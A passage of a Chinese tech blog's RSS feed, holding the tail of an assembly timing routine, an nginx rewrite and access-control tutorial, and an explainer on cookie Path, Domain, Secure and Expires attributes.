        .else        ;如果_dwTotalTime为0,说明运行时间太少,无法统计,在这里用_dwThingsHappend作为@AVGSpeed的<br />
                push        _dwThingsHappend<br />
                pop        @AVGSpeed<br />
        .endif</p>
<p>        invoke        wsprintf,_lpBuf,\<br />
                         offset szResultFormat,\<br />
                         @dwHour,\<br />
                         @dwMinute,\<br />
                         @dwSecond,\<br />
                         @dwMilliseconds,\<br />
                         @AVGSpeed</p>
<p>        xor        eax,eax<br />
        inc        eax<br />
        ret<br />
_TotalTime        endp</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (1)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/me/kaiyuanruanjiandeyinglimoshi.html" title="开源软件的盈利模式">开源软件的盈利模式</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/zaiandroidzhongchuangjianqidongjiemian.html" title="在Android中创建启动界面">在Android中创建启动界面</a> (0)</li><li>2010年08月17日 -- <a href="http://www.5bay.cn/server-building/nginxxiansu.html" title="Nginx限速">Nginx限速</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/2008" title="2008" rel="tag">2008</a>, <a href="http://www.5bay.cn/tag/code" title="code" rel="tag">code</a>, <a href="http://www.5bay.cn/tag/div" title="div" rel="tag">div</a>, <a href="http://www.5bay.cn/tag/domain" title="domain" rel="tag">domain</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/include" title="include" rel="tag">include</a>, <a href="http://www.5bay.cn/tag/mod" title="mod" rel="tag">mod</a>, <a href="http://www.5bay.cn/tag/path" title="path" rel="tag">path</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/webs" title="webs" rel="tag">webs</a>, <a href="http://www.5bay.cn/tag/%E4%B8%8A%E4%BC%A0" title="上传" rel="tag">上传</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E6%BA%90%E4%BB%A3%E7%A0%81" title="源代码" rel="tag">源代码</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E8%AF%B4%E6%98%8E" title="说明" rel="tag">说明</a>, <a href="http://www.5bay.cn/tag/%E8%BD%AF%E4%BB%B6" title="软件" rel="tag">软件</a>, <a href="http://www.5bay.cn/tag/%E9%93%BE%E6%8E%A5" title="链接" rel="tag">链接</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/webshelleechueeee.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>nginx的rewrite规则</title>
		<link>http://www.5bay.cn/server-building/nginxderewriteguize.html</link>
		<comments>http://www.5bay.cn/server-building/nginxderewriteguize.html#comments</comments>
		<pubDate>Sat, 22 May 2010 21:17:23 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[301]]></category>
		<category><![CDATA[access]]></category>
		<category><![CDATA[cookie]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[domain]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[include]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[seo]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[swf]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[判断]]></category>
		<category><![CDATA[图片]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[正则表达式]]></category>
		<category><![CDATA[浏览器]]></category>
		<category><![CDATA[网站]]></category>
		<category><![CDATA[自定义]]></category>
		<category><![CDATA[表]]></category>
		<category><![CDATA[重定向]]></category>
		<category><![CDATA[链接]]></category>
		<category><![CDATA[错误]]></category>
		<category><![CDATA[页面]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=359</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/nginxderewriteguize.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>正则表达式匹配，其中： * ~ 为区分大小写匹配 * ~* 为不区分大小写匹配 * !~和!~*分别为区分大小写不匹配及不区分大小写不匹配 文件及目录匹配，其中： * -f和!-f用来判断是否存在文件 * -d和!-d用来判断是否存在目录 * -e和!-e用来判断是否存在文件或目录 * -x和!-x用来判断文件是否可执行 flag标记有： * last 相当于Apache里的[L]标记，表示完成rewrite * break 终止匹配, 不再匹配后面的规则 * redirect 返回302临时重定向 地址栏会显示跳转后的地址 * permanent 返回301永久重定向 地址栏会显示跳转后的地址 一些可用的全局变量有，可以用做条件判断(待补全) $args $content_length $content_type $document_root $document_uri $host $http_user_agent $http_cookie $limit_rate $request_body_file $request_method $remote_addr $remote_port $remote_user $request_filename $request_uri $query_string $scheme $server_protocol $server_addr [...]]]></description>
			<content:encoded><![CDATA[<p>正则表达式匹配，其中：</p>
<p>* ~ 为区分大小写匹配<br />
* ~* 为不区分大小写匹配<br />
* !~和!~*分别为区分大小写不匹配及不区分大小写不匹配<br />
文件及目录匹配，其中：</p>
<p>* -f和!-f用来判断是否存在文件<br />
* -d和!-d用来判断是否存在目录<br />
* -e和!-e用来判断是否存在文件或目录<br />
* -x和!-x用来判断文件是否可执行<br />
flag标记有：</p>
<p>* last 相当于Apache里的[L]标记，表示完成rewrite<br />
* break 终止匹配, 不再匹配后面的规则<br />
* redirect 返回302临时重定向 地址栏会显示跳转后的地址<br />
* permanent 返回301永久重定向 地址栏会显示跳转后的地址<br />
一些可用的全局变量有，可以用做条件判断(待补全)<span id="more-359"></span></p>
<p>$args<br />
$content_length<br />
$content_type<br />
$document_root<br />
$document_uri<br />
$host<br />
$http_user_agent<br />
$http_cookie<br />
$limit_rate<br />
$request_body_file<br />
$request_method<br />
$remote_addr<br />
$remote_port<br />
$remote_user<br />
$request_filename<br />
$request_uri<br />
$query_string<br />
$scheme<br />
$server_protocol<br />
$server_addr<br />
$server_name<br />
$server_port<br />
$uri<br />
结合QeePHP的例子</p>
<p>if (!-d $request_filename) {<br />
rewrite ^/([a-z-A-Z]+)/([a-z-A-Z]+)/?(.*)$ /index.<a href="http://www.5bay.cn/tag/php" class="st_tag internal_tag" rel="tag" title="标签 PHP 下的日志">php</a>?namespace=user&amp;controller=$1&amp;action=$2&amp;$3 last;<br />
rewrite ^/([a-z-A-Z]+)/?$ /index.php?namespace=user&amp;controller=$1 last;<br />
break;<br />
多目录转成参数<br />
abc.domian.com/sort/2 =&gt; abc.domian.com/index.php?act=sort&amp;name=abc&amp;id=2<br />
}</p>
<p>if ($host ~* (.*)\.domain\.com) {<br />
set $sub_name $1;<br />
rewrite ^/sort\/(\d+)\/?$ /index.php?act=sort&amp;cid=$sub_name&amp;id=$1 last;<br />
}<br />
目录对换<br />
/123456/xxxx -&gt; /xxxx?id=123456</p>
<p>rewrite ^/(\d+)/(.+)/ /$2?id=$1 last;<br />
例如下面设定nginx在用户使用ie的使用重定向到/nginx-ie目录下：</p>
<p>if ($http_user_agent ~ MSIE) {<br />
rewrite ^(.*)$ /nginx-ie/$1 break;<br />
}<br />
目录自动加“/”</p>
<p>if (-d $request_filename){<br />
rewrite ^/(.*)([^/])$ http://$host/$1$2/ permanent;<br />
}<br />
禁止htaccess</p>
<p>location ~/\.ht {<br />
deny all;<br />
}<br />
禁止多个目录</p>
<p>location ~ ^/(cron|templates)/ {<br />
deny all;<br />
break;<br />
}<br />
禁止以/data开头的文件<br />
可以禁止/data/下多级目录下.log.txt等请求;</p>
<p>location ~ ^/data {<br />
deny all;<br />
}<br />
禁止单个目录<br />
不能禁止.log.txt能请求</p>
<p>location /searchword/cron/ {<br />
deny all;<br />
}<br />
禁止单个文件</p>
<p>location ~ /data/sql/data.sql {<br />
deny all;<br />
}<br />
给favicon.ico和robots.txt设置过期时间;<br />
这里为favicon.ico为99天,robots.txt为7天并不记录404错误日志</p>
<p>location ~(favicon.ico) {<br />
log_not_found off;<br />
expires 99d;<br />
break;<br />
}</p>
<p>location ~(robots.txt) {<br />
log_not_found off;<br />
expires 7d;<br />
break;<br />
}<br />
设定某个文件的过期时间;这里为600秒，并不记录访问日志</p>
<p>location ^~ /<a href="http://www.5bay.cn/tag/html" class="st_tag internal_tag" rel="tag" title="标签 html 下的日志">html</a>/scripts/loadhead_1.<a href="http://www.5bay.cn/tag/js" class="st_tag internal_tag" rel="tag" title="标签 js 下的日志">js</a> {<br />
<a href="http://www.5bay.cn/tag/access" class="st_tag internal_tag" rel="tag" title="标签 access 下的日志">access</a>_log off;<br />
root /opt/lampp/htdocs/<a href="http://www.5bay.cn/tag/web" class="st_tag internal_tag" rel="tag" title="标签 web 下的日志">web</a>;<br />
expires 600;<br />
break;<br />
}<br />
文件反盗链并设置过期时间<br />
这里的return 412 为自定义的http状态码，默认为403，方便找出正确的盗链的请求<br />
“rewrite ^/ http://leech.xxx.com/leech.gif;”显示一张防盗链图片<br />
“access_log off;”不记录访问日志，减轻压力<br />
“expires 3d”所有文件3天的浏览器缓存</p>
<p>location ~* ^.+\.(jpg|jpeg|gif|png|<a href="http://www.5bay.cn/tag/swf" class="st_tag internal_tag" rel="tag" title="标签 swf 下的日志">swf</a>|rar|zip|css|js)$ {<br />
valid_referers none blocked *.xxx.com *.xxx.net localhost 208.97.167.194;<br />
if ($invalid_referer) {<br />
rewrite ^/ http://leech.xxx.com/leech.gif;<br />
return 412;<br />
break;<br />
}<br />
access_log off;<br />
root /opt/lampp/htdocs/web;<br />
expires 3d;<br />
break;<br />
}<br />
只充许固定ip访问网站，并加上密码</p>
<p>root /opt/htdocs/www;<br />
allow 208.97.167.194;<br />
allow 222.33.1.2;<br />
allow 231.152.49.4;<br />
deny all;<br />
auth_basic “C1G_ADMIN”;<br />
auth_basic_user_file htpasswd;<br />
将多级目录下的文件转成一个文件，增强seo效果<br />
/job-123-456-789.html 指向/job/123/456/789.html</p>
<p>rewrite ^/job-([0-9]+)-([0-9]+)-([0-9]+)\.html$ /job/$1/$2/jobshow_$3.html last;<br />
将根目录下某个文件夹指向2级目录<br />
如/shanghaijob/</p>
<p>指向 /area/shanghai/<br />
如果你将last改成permanent，那么浏览器地址栏显是/location/shanghai/</p>
<p>rewrite ^/([0-9a-z]+)job/(.*)$ /area/$1/$2 last;<br />
上面例子有个问题是访问/shanghai 时将不会匹配</p>
<p>rewrite ^/([0-9a-z]+)job$ /area/$1/ last;<br />
rewrite ^/([0-9a-z]+)job/(.*)$ /area/$1/$2 last;<br />
这样/shanghai 也可以访问了，但页面中的相对链接无法使用，<br />
如./list_1.html真实地址是/area/shanghia/list_1.html会变成/list_1.html,导至无法访问。</p>
<p>那我加上自动跳转也是不行咯<br />
(-d $request_filename)它有个条件是必需为真实目录，而我的rewrite不是的，所以没有效果</p>
<p>if (-d $request_filename){<br />
rewrite ^/(.*)([^/])$ http://$host/$1$2/ permanent;<br />
}<br />
知道原因后就好办了，让我手动跳转吧</p>
<p>rewrite ^/([0-9a-z]+)job$ /$1job/ permanent;<br />
rewrite ^/([0-9a-z]+)job/(.*)$ /area/$1/$2 last;<br />
文件和目录不存在的时候重定向：</p>
<p>if (!-e $request_filename) {<br />
proxy_pass http://127.0.0.1;<br />
}<br />
域名跳转</p>
<p>server<br />
{<br />
listen 80;<br />
server_name jump.xxx.com;<br />
index index.html index.htm index.php;<br />
root /opt/lampp/htdocs/www;<br />
rewrite ^/ http://www.xxx.com/;<br />
access_log off;<br />
}<br />
多域名转向</p>
<p>server_name www.xxx.com;<br />
index index.html index.htm index.php;<br />
root /opt/lampp/htdocs;<br />
if ($host ~ “xxx\.net”) {<br />
rewrite ^(.*) http://www.xxx.com$1 permanent;<br />
}<br />
三级域名跳转</p>
<p>if ($http_host ~* “^(.*)\.i\.xxx\.com$”) {<br />
rewrite ^(.*) http://top.xxx.com$1;<br />
break;<br />
}<br />
域名镜向</p>
<p>server<br />
{<br />
listen 80;<br />
server_name mirror.xxx.com;<br />
index index.html index.htm index.php;<br />
root /opt/lampp/htdocs/www;<br />
rewrite ^/(.*) http://www.xxx.com/$1 last;<br />
access_log off;<br />
}<br />
某个子目录作镜向</p>
<p>location ^~ /zhaopinhui {<br />
rewrite ^.+ http://zph.xxx.com/ last;<br />
break;<br />
}<br />
discuz ucenter home (uchome) rewrite</p>
<p>rewrite ^/(space|network)-(.+)\.html$ /$1.php?rewrite=$2 last;<br />
rewrite ^/(space|network)\.html$ /$1.php last;<br />
rewrite ^/([0-9]+)$ /space.php?uid=$1 last;<br />
discuz 7 rewrite</p>
<p>rewrite ^(.*)/archiver/((fid|tid)-[\w\-]+\.html)$ $1/archiver/index.php?$2 last;<br />
rewrite ^(.*)/forum-([0-9]+)-([0-9]+)\.html$ $1/forumdisplay.php?fid=$2&amp;page=$3 last;<br />
rewrite ^(.*)/thread-([0-9]+)-([0-9]+)-([0-9]+)\.html$ $1/viewthread.php?tid=$2&amp;extra=page\%3D$4&amp;page=$3 last;<br />
rewrite ^(.*)/profile-(username|uid)-(.+)\.html$ $1/viewpro.php?$2=$3 last;<br />
rewrite ^(.*)/space-(username|uid)-(.+)\.html$ $1/space.php?$2=$3 last;<br />
rewrite ^(.*)/tag-(.+)\.html$ $1/tag.php?name=$2 last;<br />
给discuz某版块单独配置域名</p>
<p>server_name bbs.xxx.com;</p>
<p>location = / {<br />
if ($http_host ~ news\.xxx.com$)<br />
{<br />
rewrite ^.+ http://news.xxx.com/forum-831-1.html last;<br />
break;<br />
}<br />
}<br />
discuz ucenter 头像 rewrite 优化</p>
<p>location ^~ /ucenter {<br />
location ~ .*\.php?$<br />
{<br />
#fastcgi_pass unix:/tmp/php-cgi.sock;<br />
fastcgi_pass 127.0.0.1:9000;<br />
fastcgi_index index.php;<br />
include fcgi.conf;<br />
}</p>
<p>location /ucenter/data/avatar {<br />
log_not_found off;<br />
access_log off;<br />
location ~ /(.*)_big\.jpg$ {<br />
error_page 404 /ucenter/images/noavatar_big.gif;<br />
}<br />
location ~ /(.*)_middle\.jpg$ {<br />
error_page 404 /ucenter/images/noavatar_middle.gif;<br />
}<br />
location ~ /(.*)_small\.jpg$ {<br />
error_page 404 /ucenter/images/noavatar_small.gif;<br />
}<br />
expires 300;<br />
break;<br />
}<br />
}<br />
jspace rewrite</p>
<p>location ~ .*\.php?$<br />
{<br />
#fastcgi_pass unix:/tmp/php-cgi.sock;<br />
fastcgi_pass 127.0.0.1:9000;<br />
fastcgi_index index.php;<br />
include fcgi.conf;<br />
}</p>
<p>location ~* ^/index.php/<br />
{<br />
rewrite ^/index.php/(.*) /index.php?$1 break;<br />
fastcgi_pass 127.0.0.1:9000;<br />
fastcgi_index index.php;<br />
include fcgi.conf;<br />
}</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/gaoxingnengwangzhanjianshezhinandushubiji.html" title="《高性能网站建设指南》读书笔记">《高性能网站建设指南》读书笔记</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月22日 -- <a href="http://www.5bay.cn/me/csseeeeyao.html" title="CSS 中的太极拳口诀">CSS 中的太极拳口诀</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (1)</li><li>2008年11月12日 -- <a href="http://www.5bay.cn/network-programming/javascript-ajax/documentbodyscrolltop%E4%B8%BA0.html" title="document.body.scrollTop为0">document.body.scrollTop为0</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/301" title="301" rel="tag">301</a>, <a href="http://www.5bay.cn/tag/access" title="access" rel="tag">access</a>, <a href="http://www.5bay.cn/tag/cookie" title="cookie" rel="tag">cookie</a>, <a href="http://www.5bay.cn/tag/css" title="css" rel="tag">css</a>, <a href="http://www.5bay.cn/tag/domain" title="domain" rel="tag">domain</a>, <a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/include" title="include" rel="tag">include</a>, <a href="http://www.5bay.cn/tag/js" title="js" rel="tag">js</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/seo" title="seo" rel="tag">seo</a>, <a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/sql" title="sql" rel="tag">sql</a>, <a href="http://www.5bay.cn/tag/swf" title="swf" rel="tag">swf</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/%E5%88%A4%E6%96%AD" title="判断" rel="tag">判断</a>, <a href="http://www.5bay.cn/tag/%E5%9B%BE%E7%89%87" title="图片" rel="tag">图片</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F" title="正则表达式" rel="tag">正则表达式</a>, <a href="http://www.5bay.cn/tag/%E6%B5%8F%E8%A7%88%E5%99%A8" title="浏览器" rel="tag">浏览器</a>, <a href="http://www.5bay.cn/tag/%E7%BD%91%E7%AB%99" title="网站" rel="tag">网站</a>, <a href="http://www.5bay.cn/tag/%E8%87%AA%E5%AE%9A%E4%B9%89" title="自定义" rel="tag">自定义</a>, <a href="http://www.5bay.cn/tag/%E8%A1%A8" title="表" rel="tag">表</a>, <a href="http://www.5bay.cn/tag/%E9%87%8D%E5%AE%9A%E5%90%91" title="重定向" rel="tag">重定向</a>, <a href="http://www.5bay.cn/tag/%E9%93%BE%E6%8E%A5" title="链接" rel="tag">链接</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/nginxderewriteguize.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>关于Cookie中的Path和domain</title>
		<link>http://www.5bay.cn/network-programming/javascript-ajax/%E5%85%B3%E4%BA%8Ecookie%E4%B8%AD%E7%9A%84path%E5%92%8Cdomain.html</link>
		<comments>http://www.5bay.cn/network-programming/javascript-ajax/%E5%85%B3%E4%BA%8Ecookie%E4%B8%AD%E7%9A%84path%E5%92%8Cdomain.html#comments</comments>
		<pubDate>Fri, 17 Aug 2007 02:39:04 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[JavaScript&Ajax]]></category>
		<category><![CDATA[cookie]]></category>
		<category><![CDATA[domain]]></category>
		<category><![CDATA[path]]></category>

		<guid isPermaLink="false">?p=264</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/javascript-ajax/%E5%85%B3%E4%BA%8Ecookie%E4%B8%AD%E7%9A%84path%E5%92%8Cdomain.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>Path – 路径。指定与cookie关联的WEB页。值可以是一个目录，或者是一个路径。如果http://www.5bay.cn/test/index.html 建立了一个cookie，那么在http://www.5bay.cn/test/目录里的所有页面，以及该目录下面任何子目录里的页面都可以访问这个cookie。这就是说，在http://www.5bay.cn/test/test2/test3 里的任何页面都可以访问http://www.5bay.cn/test/index.html建立的cookie。但是，如果http://www.5bay.cn/test/ 需要访问http://www.5bay.cn/test/index.html设置的cookes，该怎么办？这时，我们要把cookies的path属性设置成“/”。在指定路径的时候，凡是来自同一服务器，URL里有相同路径的所有WEB页面都可以共享cookies。Domain – 域。指定关联的WEB服务器或域。值是域名，比如www.5bay.cn。这是对path路径属性的一个延伸。如果我们想让 www.5bay.cn能够访问bbs.5bay.cn设置的cookies，该怎么办? 我们可以把domain属性设置成“5bay.cn”，并把path属性设置成“/”。Secure – 安全。指定cookie的值通过网络如何在用户和WEB服务器之间传递。这个属性的值或者是“secure”，或者为空。缺省情况下，该属性为空，也就是使用不安全的HTTP连接传递数据。如果一个 cookie 标记为secure，那么，它与WEB服务器之间就通过HTTPS或者其它安全协议传递数据。不过，设置了secure属性不代表其他人不能看到你机器本地保存的cookie。换句话说，把cookie设置为secure，只保证cookie与WEB服务器之间的数据传输过程加密，而保存在本地的 cookie文件并不加密。如果想让本地cookie也加密，得自己加密数据。Expires – 过期时间。指cookie的生命期，确切地说是过期日期。如果想让cookie的存在期限超过当前浏览器的会话时间，就必须使用这个属性。当过了到期日期时，浏览器会自动删除cookie文件。 相关博文2010年07月28日 -- Webshell下破解计算机管理员密码 (0)2010年05月23日 -- nginx的rewrite规则 (1)2010年07月28日 -- 通过注册表彻底删除guest等账户 (0)2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)2010年07月26日 -- require和include的异同 (0)2010年05月23日 -- Rsync详解 (0)2010年05月23日 -- mysql优化及全文搜索 (0)2010年05月23日 -- nginx 通过user-agent判断手机终端 (0)2007年03月21日 -- 彻底杜绝PHP的session cookie错误 (0) 标签Tags：cookie, domain, JavaScript&#38;Ajax, path]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.5bay.cn/tag/path" class="st_tag internal_tag" rel="tag" title="标签 path 下的日志">Path</a> – 路径。指定与cookie关联的WEB页。值可以是一个目录，或者是一个路径。如果http://www.5bay.cn/test/index.<a href="http://www.5bay.cn/tag/html" class="st_tag internal_tag" rel="tag" title="标签 html 下的日志">html</a> 建立了一个cookie，那么在http://www.5bay.cn/test/目录里的所有页面，以及该目录下面任何子目录里的页面都可以访问这个cookie。这就是说，在http://www.5bay.cn/test/test2/test3 里的任何页面都可以访问http://www.5bay.cn/test/index.html建立的cookie。但是，如果http://www.5bay.cn/test/ 需要访问http://www.5bay.cn/test/index.html设置的cookes，该怎么办？这时，我们要把cookies的path属性设置成“/”。在指定路径的时候，凡是来自同一服务器，URL里有相同路径的所有WEB页面都可以共享cookies。<span id="more-264"></span><br/><br/><a href="http://www.5bay.cn/tag/domain" class="st_tag internal_tag" rel="tag" title="标签 domain 下的日志">Domain</a> – 域。指定关联的WEB服务器或域。值是域名，比如www.5bay.cn。这是对path路径属性的一个延伸。如果我们想让 www.5bay.cn能够访问bbs.5bay.cn设置的cookies，该怎么办? 我们可以把domain属性设置成“5bay.cn”，并把path属性设置成“/”。<br/><br/>Secure – 安全。指定cookie的值通过网络如何在用户和WEB服务器之间传递。这个属性的值或者是“secure”，或者为空。缺省情况下，该属性为空，也就是使用不安全的HTTP连接传递数据。如果一个 <a href="http://www.5bay.cn/tag/cookie" class="st_tag internal_tag" rel="tag" title="标签 cookie 下的日志">cookie</a> 标记为secure，那么，它与WEB服务器之间就通过HTTPS或者其它安全协议传递数据。不过，设置了secure属性不代表其他人不能看到你机器本地保存的cookie。换句话说，把cookie设置为secure，只保证cookie与WEB服务器之间的数据传输过程加密，而保存在本地的 cookie文件并不加密。如果想让本地cookie也加密，得自己加密数据。<br/><br/>Expires – 过期时间。指cookie的生命期，确切地说是过期日期。如果想让cookie的存在期限超过当前浏览器的会话时间，就必须使用这个属性。当过了到期日期时，浏览器会自动删除cookie文件。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (1)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/eeeuestee.html" title="通过注册表彻底删除guest等账户">通过注册表彻底删除guest等账户</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/requireeecludexi.html" title="require和include的异同">require和include的异同</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/website/nginxtongguouser-agentpanduanshoujizhongduan.html" title="nginx 通过user-agent判断手机终端">nginx 通过user-agent判断手机终端</a> (0)</li><li>2007年03月21日 -- <a href="http://www.5bay.cn/network-programming/php/%E5%BD%BB%E5%BA%95%E6%9D%9C%E7%BB%9Dphp%E7%9A%84sessioncookie%E9%94%99%E8%AF%AF.html" title="彻底杜绝PHP的session cookie错误">彻底杜绝PHP的session cookie错误</a> (0)</li></ul>
